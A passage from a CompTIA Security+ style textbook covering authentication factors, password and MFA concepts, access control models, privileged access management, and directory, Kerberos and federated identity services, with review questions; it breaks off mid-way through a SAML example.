• Integrity means that the authentication mechanism is reliable and not easy for
threat actors to bypass or trick with counterfeit credentials.

• Availability means that the time taken to authenticate does not impede
workflows and is easy enough for users to operate.

There are many different technologies for defining credentials. These can be
categorized as factors. The longest-standing authentication factor is “Something
You Know” or a knowledge factor.
The typical knowledge factor is the login, composed of a username and a password.
The username is typically not a secret (although it should not be published openly),
but the password must be known only to the account holder. A passphrase is a
longer password composed of several words. This has the advantages of being
more secure and easier to remember.

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Windows sign-in screen. (Screenshot used with permission from Microsoft.)

A personal identification number (PIN) is also something you know. Originally,

PINs were associated with short four- or six-digit numeric sequences used with
bank cards. In modern authentication designs, the main characteristic of a PIN is
that it is valid for authenticating to a single device only. This type of PIN can use any
characters and length.

Password Concepts
Improper credential management continues to be one of the most fruitful vectors
for network attacks. If an organization must continue to rely on password-based
credentials, its usage needs to be governed by strong policies and training.
A password best practices policy instructs users on choosing and maintaining
passwords. More generally, a credential management policy should instruct users
on how to keep their authentication method secure, whether this be a password,
smart card, or biometric ID. The credential management policy also needs to alert
users to diverse types of social engineering attacks. Users need to be able to spot
phishing and pharming attempts, so that they do not enter credentials into an
unsecure form or spoofed site.
To supplement best practice awareness, system-enforced account policies can
help to enforce credential management principles by stipulating requirements for
user-selected passwords:
• Password Length—enforces a minimum length for passwords. There may also
be a maximum length.

• Password Complexity—enforces password complexity rules (that is, no use of

a username within the password and a combination of at least eight uppercase/
lowercase alphanumeric and non-alphanumeric characters).

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• Password Age—forces the user to select a new password after a set number
of days.

• Password Reuse and History—prevents the selection of a password that has

been used already. The history attribute sets how many previous passwords
are blocked. The minimum age attribute prevents a user from quickly cycling
through password changes to revert to a preferred phrase.

Password aging and expiration can mean the same thing. However, some systems
distinguish between them. If this is the case, aging means that the user can still log on
with the old password after the defined period, but they must then immediately choose
a new password. Expiration means that the user can no longer sign in with the outdated
password and the account is effectively disabled.

You should note that the most recent guidance issued by NIST (nvlpubs.nist.gov/
nistpubs/SpecialPublications/NIST.SP.800-63b.pdf) deprecates some of the "traditional"
elements of password best practices, such as complexity, aging, and the use of
password hints.

Password reuse can also mean using a work password elsewhere (on a retail website,
for instance). This sort of behavior can only be policed by soft policies.

Password Managers
Users often adopt poor credential management practices that are hard to control,
such as using the same password for corporate networks and consumer websites.
This makes enterprise network security vulnerable to data breaches from these
websites. This risk is mitigated by a password manager:
1. The user selects a password manager app or service. Most operating systems
and browsers implement password managers. Examples include Windows
Credential Manager and Apple’s iCloud Keychain. If using a third-party
password manager, the user installs a plug-in for their chosen browser.

2. The user secures the password vault with a master password. The vault
is likely to be stored in the cloud so that accounts can be accessed across
multiple devices, but some password managers offer local storage only.

3. When the user creates or updates an account, the password manager

generates a random password. The parameters can be adjusted to meet
whatever length and complexity policy is required by the site.

4. When the user subsequently browses a site, the password manager validates
the site’s identity using its digital certificate and presents an option for the
user to fill in the password.

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Using the LastPass password manager browser plug-in to sign-in to

CompTIA’s website. (Screenshot courtesy of CompTIA, Inc., and LastPass US LP.)

The main risks from password managers are selection of a weak master password,
compromise of the vendor’s cloud storage or systems, and impersonation attacks
designed to trick the manager into filling a password to a spoofed site.

Multifactor Authentication
An authentication design that uses only passwords or a single knowledge factor is
considered weak. Password secrets are too prone to compromise to be reliable.
Other types of authentication factor can be used to supplement or replace
password-based logins. A multifactor authentication (MFA) technology combines
the use of more than one type of factor.

Something You Have Factor

Something you have is an ownership factor. It means that the account holder
possesses something that no one else does, such as a smart card, key fob, or
smartphone that can generate or receive a cryptographic token.

Something You Are Factor

Something you are refers to a biometric or inherence factor. A biometric factor uses
either physiological identifiers, such as a fingerprint or facial scan, or behavioral
identifiers, such as the way someone moves (gait). The identifiers are scanned and
recorded as a template. When the user authenticates, another scan is taken and
compared to the template.

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Somewhere You Are Factor

“Somewhere you are” means the system applies a location-based factor to an
authentication decision. Location-based authentication measures some statistics
about where you are. This could be a geographic location measured using a device’s
location service, or its Internet Protocol (IP) network address. A device’s IP address
could be used to refer to a logical network segment, or it could be linked to a
geographic location using a geolocation service. Within a premises network, the
physical port location, virtual LAN (VLAN), or Wi-Fi network can also be made the
basis of location-based authentication.
Location-based authentication is not used as a primary authentication factor, but
it may be used as a continuous authentication mechanism or as an access control
feature. For example, if a user enters the correct credentials at a remote access
gateway but their IP address shows them to be in a different country than expected,
access controls might be applied to restrict the privileges granted or refuse access
completely. Another example is when a user appears to log-in from multiple
geographic locations that would be physically impossible with travel time.

Multifactor authentication requires a combination of different technologies. For

example, requiring a PIN along with date of birth may be stronger than entering
a PIN alone, but it is not multifactor.

You might also see references to two-factor authentication (2FA). This just means that
there are precisely two factors involved, such as an ownership-based smart card or
biometric identifier with something you know, such as a password or PIN.

Biometric Authentication
The first step in setting up biometric authentication is enrollment:
1. A sensor module acquires the biometric sample from the target.

2. A feature extraction module creates a template. The template is a

mathematical representation of the parts of the sample that uniquely
identify the target.

When the user wants to access a resource, they are re-scanned, and the scan is
compared to the template. If they match to within a defined degree of tolerance,
access is granted.
Biometric athentication can be challenging to implement. The efficacy rate of
biometric pattern acquisition and matching and suitability as an authentication
mechanism can be evaluated using the following metrics and factors:
• False Rejection Rate (FRR)—is where a legitimate user is not recognized.
This is also referred to as a Type I error or false non-match rate (FNMR). FRR is
measured as a percentage.

• False Acceptance Rate (FAR)—is where an interloper is accepted (Type II error

or false match rate [FMR]). FAR is measured as a percentage.

False rejection causes inconvenience to users, but false acceptance can lead
to security breaches, and so is usually considered the most important metric.

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• Crossover Error Rate (CER)—the point at which FRR and FAR meet. The lower
the CER, the more efficient and reliable the technology.

Errors are reduced over time by tuning the system. This is typically accomplished
by adjusting the sensitivity of the system until CER is reached.

• Throughput (speed)—is the time required to create a template for each user
and the time required to authenticate. This is a major consideration for high-
traffic access points, such as airports or railway stations.

• Failure to Enroll Rate (FER)—are incidents in which a template cannot be

created and matched for a user during enrollment.

• Cost/Implementation—is some scanner types are more expensive, whereas

others are not easy to incorporate on mobile devices.

• Users can find it intrusive and threatening to privacy.

• The technology can be discriminatory or inaccessible to those with disabilities.

Fingerprint recognition is the most widely implemented biometric authentication

method. The technology required for scanning and recording fingerprints is
relatively inexpensive and the process quite straightforward. A fingerprint sensor is
usually implemented as a small capacitive cell or optical camera that can detect the
unique pattern of ridges making up the pattern. The technology is also nonintrusive
and relatively simple to use, although moisture or dirt can prevent readings.

Configuring fingerprint recognition on an AndroidTM smartphone.

Android is a trademark of Google LLC.

Facial recognition records multiple indicators about the size and shape of the face
like the distance between the eyes or the width and length of the nose. The scan
usually uses optical and infrared cameras or sensors to defeat spoofing attempts
that substitute a photo for a real face.

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Hard Authentication Tokens

An ownership factor means that the user possesses some type of device that only
they can operate. This is referred to as an authenticator. The authenticator is able
to generate or receive a token that identifies and authenticates the user. There are
three main types of token generation:
• Certificate-Based Authentication—is when the supplicant controls a private
key that can generate a unique signed token. The identity provider can verify
the signature via the public key. The main drawback of this approach is the
administrative burden of implementing PKI to issue digital certificates.

• One-Time Password (OTP)—is when a token is generated using some sort of

hash function on a shared secret value plus a synchronization seed, such as a
timestamp (TOTP) or HMAC (HOTP). The token can only be used once. A new
token is generated for each authentication decision. This approach still uses a
key pair and hashing for security, but it does not require PKI.

• Fast Identity Online (FIDO) Universal 2nd Factor (U2F)—uses a public/

private key pair to register each account, avoiding the need to communicate
a shared secret, which is a weakness of HOTP and TOTP. The private key is
locked to the U2F device and signs the token; the public key is registered with
the authentication server and verifies the token. As no digital certificates are
involved, the solution does not rely on PKI.

A hard authentication token is generated within a secure cryptoprocessor.

The authentication design means that there is no transmission of the token itself.
Several device-based authenticators can be used to implement hard tokens:
• Smart cards—implement certificate-based authentication. The smart card
stores the user’s digital certificate, the private key associated with the certificate,
and a personal identification number (PIN) used to activate the card. The card
must be presented to a reader. There are physical contact and contactless
near-field communication (NFC) card types.

• One-time password (OTP)—refers to a crytoprocessor that can generate a

token. This type of hardware token does not need an interface to connect with a
computer; the user just reads the code displayed.

• Security key—refers to a portable hardware security module (HSM) with a

computer interface, such as USB or NFC. They are most closely associated with
U2F, but some might also support certificate-based authentication or HOTP/
TOTP. A security key must be activated to show presence. Some keys just have
an activation button, but most use a biometric fingerprint reader for better
security. A PIN must also be configured as a backup mechanism.

Key fob token generator. (Image © 123RF.com.)

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There are also simpler smart cards and fobs that simply transmit a static token
programmed into the device. For example, many building entry systems work on the
basis of static codes. These mechanisms are highly vulnerable to cloning and replay
attacks.

Soft Authentication Tokens

A soft authentication token is a one-time password generated by the identity
provider and transmitted to the supplicant. The OTP could be sent to a registered
phone number as an SMS/text message or sent to an email account. This method is
more likely to use counter-based tokens, though they will still have an expiry period.

Soft tokens sent via SMS or email do not really count as an ownership factor. These
systems can be described as two-step verification rather than MFA. The tokens are
highly vulnerable to interception.

A more secure soft OTP token can be generated using an authenticator app. This
is software installed on a computer or smartphone. The user must register each
identity provider with the app, typically using a scannable quick response (QR)
code to communicate the shared secret. When prompted to authenticate, the
user must unlock the authenticator app with their device credential to view the
OTP token. There is less risk of interception than with an SMS or email message,
but as it runs on a shared-use device, there is the possibility that malware could
compromise the app.

Using an authenticator app to sign in to a site. After the user signs in with a password,
the site prompts them to authorize the sign in using the authenticator app installed
on their smartphone.

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Passwordless Authentication
With token-based MFA, the user account is typically still configured with a
password. This might be used as a backup mechanism or there might be a two-step
verification process, where the user must enter their password and then submit
an OTP.
Passwordless means that the whole authentication system no longer processes
knowledge-based factors. The FIDO2 with WebAuthn specifications provides a
framework for passwordless authentication. It works basically as follows:
1. The user chooses either a roaming authenticator, such as a security key, or a
platform authenticator implemented by the device OS, such as Windows Hello
or Face ID/Touch ID for macOS and iOS.

2. The user configures a secure method or local gesture to confirm presence and
authenticates the device. This gesture could be a fingerprint, face recognition,
or PIN. This credential is only ever validated locally by the authenticator.

3. The user registers with a web application or service, referred to as a relying

party. For each new relying party, the authenticator generates a public/
private key pair. The user’s client browser obtains the public key from the
authenticator and registers it to associate it with an account on the relying
party.

4. When presented with an authentication challenge, the user performs the

local gesture to unlock the private key. The private key is used to sign a
confirmation that the local gesture worked, which is then sent to the relying
party.

5. The relying party uses the public key to verify the signature and authenticate
the account session.

As with FIDO U2F, this provides similar security to smart card authentication,
but does not require accounts to have digital certificates and PKI, reducing the
management burden. FIDO2 WebAuthn improves on FIDO U2F by adding an
application programming interface (API) that allows web applications to work
without a password element to authentication. Most FIDO U2F authenticators
should also support FIDO2/WebAuthn.
For a passwordless system to be secure, the authenticator must be trusted
and resistant to spoofing or cloning attacks. Attestation is a mechanism for an
authenticator device, such as a FIDO security key or the TPM in a PC or laptop, to
prove that it is a root of trust. Each security key is manufactured with an attestation
and model ID. During the registration step, if the relying party requires attestation,
the authenticator uses this key to send a report. The relying party can check the
attestation report to verify that the authenticator is a known brand and model and
supports whatever cryptographic properties the relying party demands.

Note that the attestation key is not unique; if it were unique, it would be easy to identify
individuals and be a serious threat to privacy. Instead, it identifies a particular brand
and model.

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Review Activity:
Authentication
3

Answer the following questions:

1. Which property of a plaintext password is most effective at defeating a

brute force attack?

2. A user maintains a list of commonly used passwords in a file located

deep within the computer’s directory structure. Is this secure password
management?

3. What policy prevents users from choosing old passwords again?

4. True or false? An account requiring a password, PIN, and smart card is an

example of three-factor authentication.

5. What methods can be used to implement location-based authentication?

6. Apart from cost, what would you consider to be the major considerations
for evaluating a biometric recognition technology?

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7. True or false? When implementing smart card login, the user’s private
key is stored on the smart card.

8. How does OTP protect against password compromise?

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Topic 4B
Authorization
9

EXAM OBJECTIVES COVERED

4.6 Given a scenario, implement and maintain identity and access management.

Authorization is the part of identity and access management that governs assigning
privileges to network users and services. Implementing an access control model
helps an organization to manage the implications of privilege assignments and to
account for the actions of both regular and privileged administrative users. Account
policies help you to protect credentials and to detect and manage risks from
compromised accounts.

Discretionary and Mandatory Access Control

A user account that has been authenticated can be allocated rights and
permissions on networks, computers, and data. An access control model
describes the principles that govern how users receive rights.

Discretionary Access Control

Discretionary access control (DAC) is based on the primacy of the resource
owner. In a DAC model, every resource has an owner. The owner creates a file or
service although ownership can be assigned to another user. The owner has full
control over the resource and they can modify its access control list (ACL) to grant
rights to others.
DAC is the most flexible model and is currently implemented widely in computer
and network security. In file system security, it is the model used by default for most
UNIX/Linux distributions and Microsoft Windows. As the most flexible model, it is
also the weakest because it makes centralized administration of security policies
the most difficult to enforce. It is also the easiest to compromise, as it is vulnerable
to insider threats and abuse of compromised accounts.

Mandatory Access Control

The DAC model exposes information to the threat of compromise via the privileged
owner accounts. Mandatory access control (MAC) is based on security clearance
levels. Rather than defining ACLs on resources, each object is given a classification
label and each subject is granted a clearance level. In a confidentiality-oriented
multilevel system, subjects are permitted to read objects classified at their own
clearance level or below. For example, a user with Top Secret clearance could read
data with Top Secret, Secret, and Confidential classification labels. A user with
Secret clearance could access Secret and Confidential levels only.
Labeling objects and granting clearance takes place using preestablished rules. The
critical point is that these rules are nondiscretionary and cannot be changed by any
subject account.

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As a simple classification system is inflexible, most MAC models add the concept of
compartment-based access. For example, a data file might be at Secret classification
and located in the HR compartment. Only subjects with Secret and HR clearance could
access the file.

In MAC, users with high clearance are not permitted to write low-clearance documents.
This is referred to as write up, read down. This prevents, for example, a user with Top
Secret clearance republishing some Top Secret data that they can access with Secret
clearance.

Role- and Attribute-Based Access Control

Role- and attribute-based access control use nondiscretionary, rules-based
permissions assignments with more flexibility than MAC.

Role-Based Access Control

Role-based access control (RBAC) means that an organization defines its
permission requirements in terms of the tasks that an employee or service must
be able to perform. Each set of permissions is a role. Each principal (user or service
account) is allocated to one or more roles. Under this system, the right to modify
the permissions assigned to each role is reserved to a system owner. Therefore, the
system is nondiscretionary as each principal cannot modify the ACL of a resource,
even though they can change the resource in other ways. Principals gain rights
implicitly (through being assigned to a role) rather than explicitly (being assigned
the right directly).
The concept of a security group account goes some way toward turning a
discretionary system into a role-based one. Rather than assigning rights directly to
user accounts, the system owner assigns user accounts to security group accounts.
Principals gain rights by being made a member of a security group. A principal can
be a member of multiple groups and can therefore receive rights and permissions
from several sources.

Using security groups to assign privileges. (Images © 123RF.com.)

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RBAC can be partially implemented by mapping security groups onto roles, but they
are not identical schemes. Membership in security groups is largely discretionary
(assigned by administrators rather than determined by the system). Also, ideally, a
principal should only inherit the permissions of a role to complete a particular task
rather than retain them permanently. Administrators should be prevented from
escalating their own privileges by assigning roles to their own accounts arbitrarily or
boosting a role’s permissions.

Attribute-Based Access Control

Attribute-based access control (ABAC) is the most fine-grained type of access
control model. As the name suggests, an ABAC system makes access decisions
based on a combination of subject and object attributes plus any context-sensitive
or system-wide attributes. As well as group/role memberships, these attributes
could include information about the OS currently being used, the IP address, or
the presence of up-to-date patches and antimalware. An attribute-based system
monitors the number of events or alerts associated with a user account or with a
resource, or tracks access requests to ensure they are consistent in terms of timing
or geographic location. It can be programmed to implement policies such as M-of-N
control and separation of duties.

Rule-Based Access Control

Rule-based access control refers to any sort of access control model where
access control policies are determined by system-enforced rules rather than by
system users. As such, RBAC, ABAC, and MAC are all examples of rule-based (or
nondiscretionary) access control.
Conditional access is an example of rule-based access control. A conditional access
system monitors account or device behavior throughout a session. If certain
conditions are met, it may suspend the account or may require the user
to reauthenticate, perhaps using a two-step verification method.
The User Account Control (UAC) and sudo restrictions on privileged accounts
are examples of conditional access. The user is prompted for confirmation or
authentication when making requests that require elevated privileges. Role-based
rights management and ABAC systems can apply a number of criteria to conditional
access, including location-based policies.

Least Privilege Permission Assignments

Least privilege means that a principal is granted the minimum possible sufficient
rights to complete a task that they are authorized to perform. This mitigates risk
if an account should be compromised and fall under the control of a threat actor.
Least privilege involves a design phase, where analysis of business workflows
determines what roles and permissions are required.
While least privilege is a strong design principle, implementing it successfully can
be challenging. Where many users, groups, roles, and resources are involved,
managing permission assignments and implications is complex and time
consuming. Improperly configured accounts can have two different impacts. On
the one hand, setting privileges that are too restrictive creates a large volume of
support calls and reduces productivity. On the other hand, granting too many
privileges to users weakens the system’s security and increases the risk of malware
infection and a data breach.
Ensuring least privilege also involves continual monitoring to prevent authorization
creep. Authorization creep refers to a situation where a user acquires more and
more rights, either directly or by being added to security groups or roles.

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For example, a user may be granted elevated privileges temporarily. In this case, a
system is needed to ensure that the privileges are revoked at the end of the agreed
period. A system of auditing should regularly review privileges, monitor group
membership, review access control lists for each resource, and identify and disable
unnecessary accounts.

Determining effective permissions for a shared folder. (Screenshot used with

permission from Microsoft.)

User Account Provisioning

Provisioning is the process of setting up a service according to a standard
procedure or best practice checklist. The IT department must keep track of all
assets under management, and user accounts are a type of asset. User accounts
are provisioned for new employees and for temporary access, such as by
consultants and contractors. Some businesses may also need to set up customer
accounts.
Provisioning a user account involves the following general steps:
• Identity Proofing—verifies that the person is who they say they are by checking
official documents and records. Circumstances might also demand a background
check, which verifies current and previous addresses, education, or previous
employment and whether the person has a criminal record or credit issues.

• Issuing Credentials—allows the user to select a password known only to them

and/or enroll them with biometric or token-based authenticators.

• Issuing Hardware and Software Assets—the user will need, typically a

computer and/or smartphone and possibly local copies of licensed software
apps. Employees need sufficient resources to do their job. If their resources are
inadequate they might try to obtain hardware and software directly (shadow IT).

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• Teaching Policy Awareness—by scheduling training and providing access

to learning resources so that the employee or contractor is aware of security
policies and risks. They must also be aware of policies for personal use of any IT
assets issued to them.

• Creating Permissions Assignment—by identifying the work roles that the

account must support and configuring the appropriate rights using a role-based,
mandatory, or attribute-based access control model. If the account is granted
privileged access, it should be tagged for close monitoring.

Deprovisioning is the process of removing the access rights and permissions allocated
to an employee when they leave the company or from a contractor when a project
finishes. This involves removing the account from any roles or security groups. The
account might be disabled for a period and then deleted or deleted immediately.

Account Attributes and Access Policies

A user account is defined by a unique security identifier (SID), a name, and a credential.
Each account is associated with a profile. The profile can be defined with custom identity
attributes describing the user, such as a full name, email address, contact number,
department, and so on. The profile may support media such as an account picture.
As well as attributes, the profile will usually provide a location for storing user-
generated data files (a home folder). The profile can also store per-account settings
for software applications.
Each account can be assigned permissions over files and other network resources
and access policies or privileges over the use and configuration of network hosts.
These permissions might be assigned directly to the account or inherited through
membership in a security group or role. Access policies determine things like the
right to log on to a computer locally or via a remote desktop, install software,
change the network configuration, and so on.
On a Windows Active Directory network access policies can be configured via group
policy objects (GPOs). GPOs can be used to configure access rights for user/group/
role accounts. GPOs can be linked to network administrative boundaries in Active
Directory, such as sites, domains, and organizational units (OU).

Configuring access policies and rights using Group Policy Objects in Windows Server 2016.
(Screenshot used with permission from Microsoft.)

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Account Restrictions
Policy-based restrictions can be used to mitigate some risks of account compromise
through the theft of credentials.

Location-Based Policies
A user or device can have a logical network location, identified by an IP address,
subnet, virtual LAN (VLAN), or organizational unit (OU). This can be used as an
account restriction mechanism. For example, a user account may be prevented
from logging on locally to servers within a restricted OU.
The geographical location of a user or device can be calculated using a geolocation
mechanism:
• IP address—can be associated with a map location to varying degrees of
accuracy based on information published by the registrant, including name,
country, region, and city. The registrant is usually the Internet service provider
(ISP), so the information you receive will provide an approximate location of a
host based on the ISP. If the ISP is one that serves a large or diverse geographical
area, it is more difficult to pinpoint the location of the host Internet service
providers (ISPs). Software libraries, such as GeoIP, facilitate querying this data.

• Location services—are methods used by the OS to calculate the device’s

geographical position. A device with a global positioning system (GPS) sensor
can report a highly accurate location when outdoors. Location services can also
triangulate to cell towers, Wi-Fi hotspots, and Bluetooth signals where GPS is not
supported.

Time-Based Restrictions
There are four main types of time-based policies:
• A time-of-day restrictions policy establishes authorized login hours for an
account.

• A duration-based login policy establishes the maximum amount of time an

account may be logged in for.

• An impossible travel time/risky login policy tracks the location of login events
over time. If these do not meet a threshold, the account will be disabled. For
example, a user logs in to an account from a device in New York City. A couple of
hours later, a login attempt is made from Los Angeles, but is refused and an alert
is raised because it is not feasible for the user to be in both locations.

• A temporary permissions policy removes an account from a security role or

group after a defined period.

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Privileged Access Management

Standard users have limited privileges, typically with access to run programs and to
create and modify files belonging only to their profile.
A privileged account is one that can make significant configuration changes to a
host, such as installing software or disabling a firewall or other security system.
Privileged accounts also have the right to manage network appliances, application
servers, and databases.
Privileged access management (PAM) refers to policies, procedures, and technical
controls to prevent compromise of privileged accounts. These controls identify and
document privileged accounts, giving visibility into their use, and managing the
credentials used to access them.

It is a good idea to restrict the number of administrative accounts as much as possible.

The more accounts there are, the more likely it is that one of them will be compromised.
On the other hand, you do not want administrators to share accounts or to use default
accounts, as that compromises accountability.

Users with administrative privileges must take the greatest care with credential
management. Privilege-access accounts must use strong passwords and ideally
multifactor authentication (MFA) or passwordless authentication.

To protect privileged account credentials, it is important not to sign in on untrusted

workstations. A secure administrative workstation (SAW) is a computer with a very
low attack surface running the minimum possible apps.

Traditional administrator accounts have standing permissions. Just-in-time (JIT)

permissions means that an account’s elevated privileges are not assigned at log-in.
Instead, the permissions must be explicitly requested and are only granted for
a limited period. This is referred to as zero standing privileges (ZSP). There are
three main models for implementing this:
• Temporary Elevation—means that the account gains administrative rights for a
limited period. The User Account Control (UAC) feature of Windows and the sudo
command in Linux use this concept.

• Password Vaulting/Brokering—means the privileged account must be

“checked out” from a repository and is made available for a limited amount of
time. The administrator must log a justification for using the privileges. Approval
of the request could be automated via system-enforced policies or require
manual intervention, providing a measure of M of N control. This provides better
accounting oversight than temporary elevation and better protection against
compromise of privileged credentials.

• Ephemeral Credentials—means the system generates or enables an account

to use to perform the administrative task and then destroys or disables it once
the task has been performed. Temporary or ephemeral membership of security
groups or roles can serve a similar purpose.

As well as human administrators, PAM also applies to service accounts.

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Review Activity:
Authorization
10

Answer the following questions:

1. What is the difference between security group- and role-based

permissions management?

2. In a rule-based access control model, can a subject negotiate with the

data owner for access privileges? Why or why not?

3. What is the process of ensuring accounts are only created for valid
users, only assigned the appropriate privileges, and that the account
credentials are known only to the valid user?

4. What is the policy that states users should be allocated the minimum
sufficient permissions?

5. A threat actor was able to compromise the account of a user whose

employment had been terminated a week earlier. They used this account
to access a network share and exfiltrate important files. What account
vulnerability enabled this attack?

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Topic 4C
Identity Management
6

EXAM OBJECTIVES COVERED

4.6 Given a scenario, implement and maintain identity and access management.

While an on-premises network can use a local directory to manage accounts and
rights, as organizations move services to the cloud, these authorizations have to be
implemented using federated identity management solutions.

Local, Network, and Remote Authentication

One of the most important features of an operating system is the authentication
provider, which is the software architecture and code that underpins the mechanism
by which the user is authenticated before starting a shell.
Knowledge-based authentication relies on cryptographic hashes. A plaintext
password is not usually transmitted or stored in a credential database because
of the risk of compromise. Instead, the password is stored as a cryptographic
hash. When a user enters a password to log in, an authenticator converts what is
typed into a hash and transmits that to an authority. The authority compares the
submitted hash to the one in the database and authenticates the subject only if
they match.

Windows Authentication
Windows authentication involves a complex architecture of components (docs.
microsoft.com/en-us/windows-server/security/windows-authentication/
credentials-processes-in-windows-authentication), but the following three scenarios
are typical:
• Windows local sign-in—is the Local Security Authority Subsystem Service
(LSASS) that compares the submitted credential to a hash stored in the Security
Accounts Manager (SAM) database, which is part of the registry. This is also
referred to as interactive logon.

• Windows network sign-in—is LSASS which can pass the credentials for
authentication to an Active Directory (AD) domain controller. The preferred
system for network authentication is based on Kerberos, but legacy network
applications might use NT LAN Manager (NTLM) authentication.

• Remote sign-in—is used if the user’s device is not directly connected to the
local network, authentication can take place over a virtual private network
(VPN), enterprise Wi-Fi, or web portal. These use protocols to create a secure
connection between the client machine, the remote access device, and the
authentication server.

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Linux Authentication
In Linux, local user account names are stored in /etc/passwd. When a user
logs in to a local interactive shell, the password is checked against a hash stored in
/etc/shadow. Interactive login over a network is typically accomplished using
Secure Shell (SSH). With SSH, the user can be authenticated using cryptographic
keys instead of a password.
A pluggable authentication module (PAM) is a package for enabling different
authentication providers, such as smart-card log-in. The PAM framework can also
be used to implement authentication to network directory services.

Directory Services
A directory service stores information about users, computers, security groups/
roles, and services. Each object in the directory has a number of attributes. The
directory schema describes the types of attributes, what information they contain,
and whether they are required or optional. In order for products from different
vendors to be interoperable, most directory services are based on the Lightweight
Directory Access Protocol (LDAP), which was developed from a standard called
X.500.
Within an X.500-like directory, a distinguished name (DN) is a collection of
attributes that define a unique identifier for any given resource. A distinguished
name is made up of attribute-value pairs, separated by commas. The most specific
attribute is listed first, and successive attributes become progressively broader. This
most specific attribute is the relative distinguished name, as it uniquely identifies
the object within the context of successive (parent) attribute values.

Browsing objects in an Active Directory LDAP schema. (Screenshot used with

permission from Microsoft.)

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Some of the attributes commonly used include common name (CN), organizational
unit (OU), organization (O), country (C), and domain component (DC).
For example, the distinguished name of a web server operated by Widget in the UK
might be the following:
CN=WIDGETWEB, OU=Marketing, O=Widget, C=UK,
DC=widget, DC=foo

Single Sign-on Authentication

A single sign-on (SSO) system allows the user to authenticate once and then to
receive authorizations on compatible application servers without having to enter
credentials again.
Kerberos is a single sign-on network authentication and authorization protocol
used on many networks, notably as implemented by Microsoft’s Active Directory
(AD) service. Kerberos was named after the three-headed guard dog of Hades
(Cerberus) because it consists of three parts. Clients request services from
application servers, which both rely on an intermediary—a key distribution center
(KDC)—to vouch for their identity. There are two services that make up a KDC: the
Authentication Service and the Ticket Granting Service.

Kerberos Authentication Service. (Images © 123RF.com.)

Kerberos can authenticate human users and application services. These are
collectively referred to as principals. Using authentication to a Windows domain
as an example, the first step in Kerberos SSO is to authenticate with a KDC server,
implemented as a domain controller.
1. The principal sends the authentication service (AS) a request for a Ticket
Granting Ticket (TGT). This is composed by encrypting the date and time on
the local computer with the user’s password hash as the key.

The password hash itself is not transmitted over the network. Although we refer to
passwords for simplicity, the system can use other authenticators, such as smart
card login.

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2. The AS checks that the user account is present, that it can decode the request
2.

by matching the user’s password hash with the one in the Active Directory
database, and that the request has not expired. If the request is valid, the AS
responds with the following data:

• Ticket Granting Ticket (TGT)—contains information about the client

(name and IP address) plus a time stamp and validity period. This is
encrypted using the KDC’s secret key.

• TGS session key—communicates between the client and the Ticket

Granting Service (TGS). This is encrypted using a hash of the user’s
password.

The TGT is an example of a logical token. All the TGT does is identify who you are
and confirm that you have been authenticated—it does not provide you with access
to any domain resources.

Single Sign-on Authorization

Presuming the user entered the correct password, the client can decrypt the Ticket
Granting Service (TGS) session key but not the TGT. This establishes that the client
and KDC know the same shared secret and that the client cannot interfere with
the TGT.
1. To access resources within the domain, the principal requests a service ticket
(a token that grants access to a target application server). This process of
granting service tickets is handled by the TGS.

2. The principal sends the TGS a copy of its TGT and the name of the application
server it wishes to access plus an authenticator, consisting of a time-stamped
client ID encrypted using the TGS session key.

The TGS should be able to decrypt both messages using the KDC’s secret key
for the first and the TGS session key for the second. This confirms that the
request is genuine. It also checks that the ticket has not expired and has not
been used before (replay attack).

3. 3. The TGS service responds with the following:

• A Service session key—is used between the client and the application
server. This is encrypted with the TGS session key.

• A Service ticket—contains information about the principal, such as a time

stamp, system IP address, Security Identifier (SID) and the SIDs of groups
to which it belongs, and the service session key. This is encrypted using the
application server’s secret key.

4. The principal forwards the service ticket, which it cannot decrypt, to the
4.

application server and adds another time-stamped authenticator, which is

encrypted using the service session key.

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Kerberos Ticket Granting Service. (Images © 123RF.com.)

5. The application server decrypts the service ticket to obtain the service
5.

session key using its secret key, confirming that the principal has sent it an
untampered message. It then decrypts the authenticator using the service
session key.

6. Optionally, the application server responds to the principal with the time
6.

stamp used in the authenticator, which is encrypted by using the service

session key. The principal decrypts the time stamp and verifies that it matches
the value already sent, and concludes that the application server
is trustworthy.

This means that the server is authenticated to the principal (referred to as

mutual authentication). This prevents a on-path attack, where a malicious user
could intercept communications between the principal and server.

7. The server now responds to access requests (assuming they conform to the
7.

server’s access control list).

One of the noted drawbacks of Kerberos is that the KDC represents a single
point-of-failure for the network. In practice, backup KDC servers can be
implemented (for example, Active Directory supports multiple domain controllers,
each of which are running the KDC service).

Federation
Federation is the notion that a network needs to be accessible to more than just
a well-defined group of employees. In business, a company might need to make
parts of its network open to partners, suppliers, and customers. The company
can manage its employee accounts easily enough. Managing accounts for each
supplier or customer internally may be more difficult. Federation means that the
company trusts accounts created and managed by a different network. As another
example, in the consumer world, a user might want to use both Google Workspace
and Twitter. If Google and Twitter establish a federated network for the purpose
of authentication and authorization, then the user can log on to Twitter using their
Google credentials or vice versa.

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An on-premises network can use technologies such as LDAP and Kerberos,

very often implemented as a Windows Active Directory network, because the
administration of accounts and devices can be centralized. When implementing
federation, authentication and authorization design comes with more constraints
and additional requirements to ensure interoperability between different platforms.
Web applications might not support Kerberos, while third-party networks might not
support direct federation with Active Directory/LDAP. The design for these cloud
networks likely requires the use of other standard protocols or frameworks for
interoperability between web applications.
These interoperable federation protocols use claims-based identity. While the
technical implementation and terminology is different, the overall model is similar
to that of Kerberos SSO:
1. The principal attempts to access a service provider (SP). The service provider
redirects the principal to an identity provider (IdP) to authenticate.

2. The principal authenticates with the identity provider and obtains a claim, in
the form of some sort of token or document signed by the IdP.

3. The principal presents the claim to the service provider. The SP can validate
that the IdP has signed the claim because of its trust relationship with the IdP.

4. The service provider can now connect the authenticated principal to its own
accounts database to determine its permissions and other attributes. It may
be able to query attributes of the user account profile held by the IdP, if the
principal has authorized this type of access.

Federated identity management overview. (Images © 123RF.com.)

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Security Assertion Markup Language

A federated network or cloud needs specific protocols and technologies to
implement user identity assertions and transmit claims between the principal, the
relying party, and the identity provider. Security Assertion Markup Language
(SAML) is one such solution. SAML assertions (claims) are written in eXtensible
Markup Language (XML). Communications are established using HTTP/HTTPS and
the Simple Object Access Protocol (SOAP). The secure tokens are signed using the
XML signature specification. The use of a digital signature allows the relying party to
trust the identity provider.
An example of a SAML implementation is Amazon Web Services (AWS) which
functions as a SAML service provider. This allows companies using AWS to develop
cloud applications to manage their customers’ user identities and provide them
with permissions on AWS without having to create accounts for them on AWS
directly.
<samlp:Response
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="200" Version="2.0"
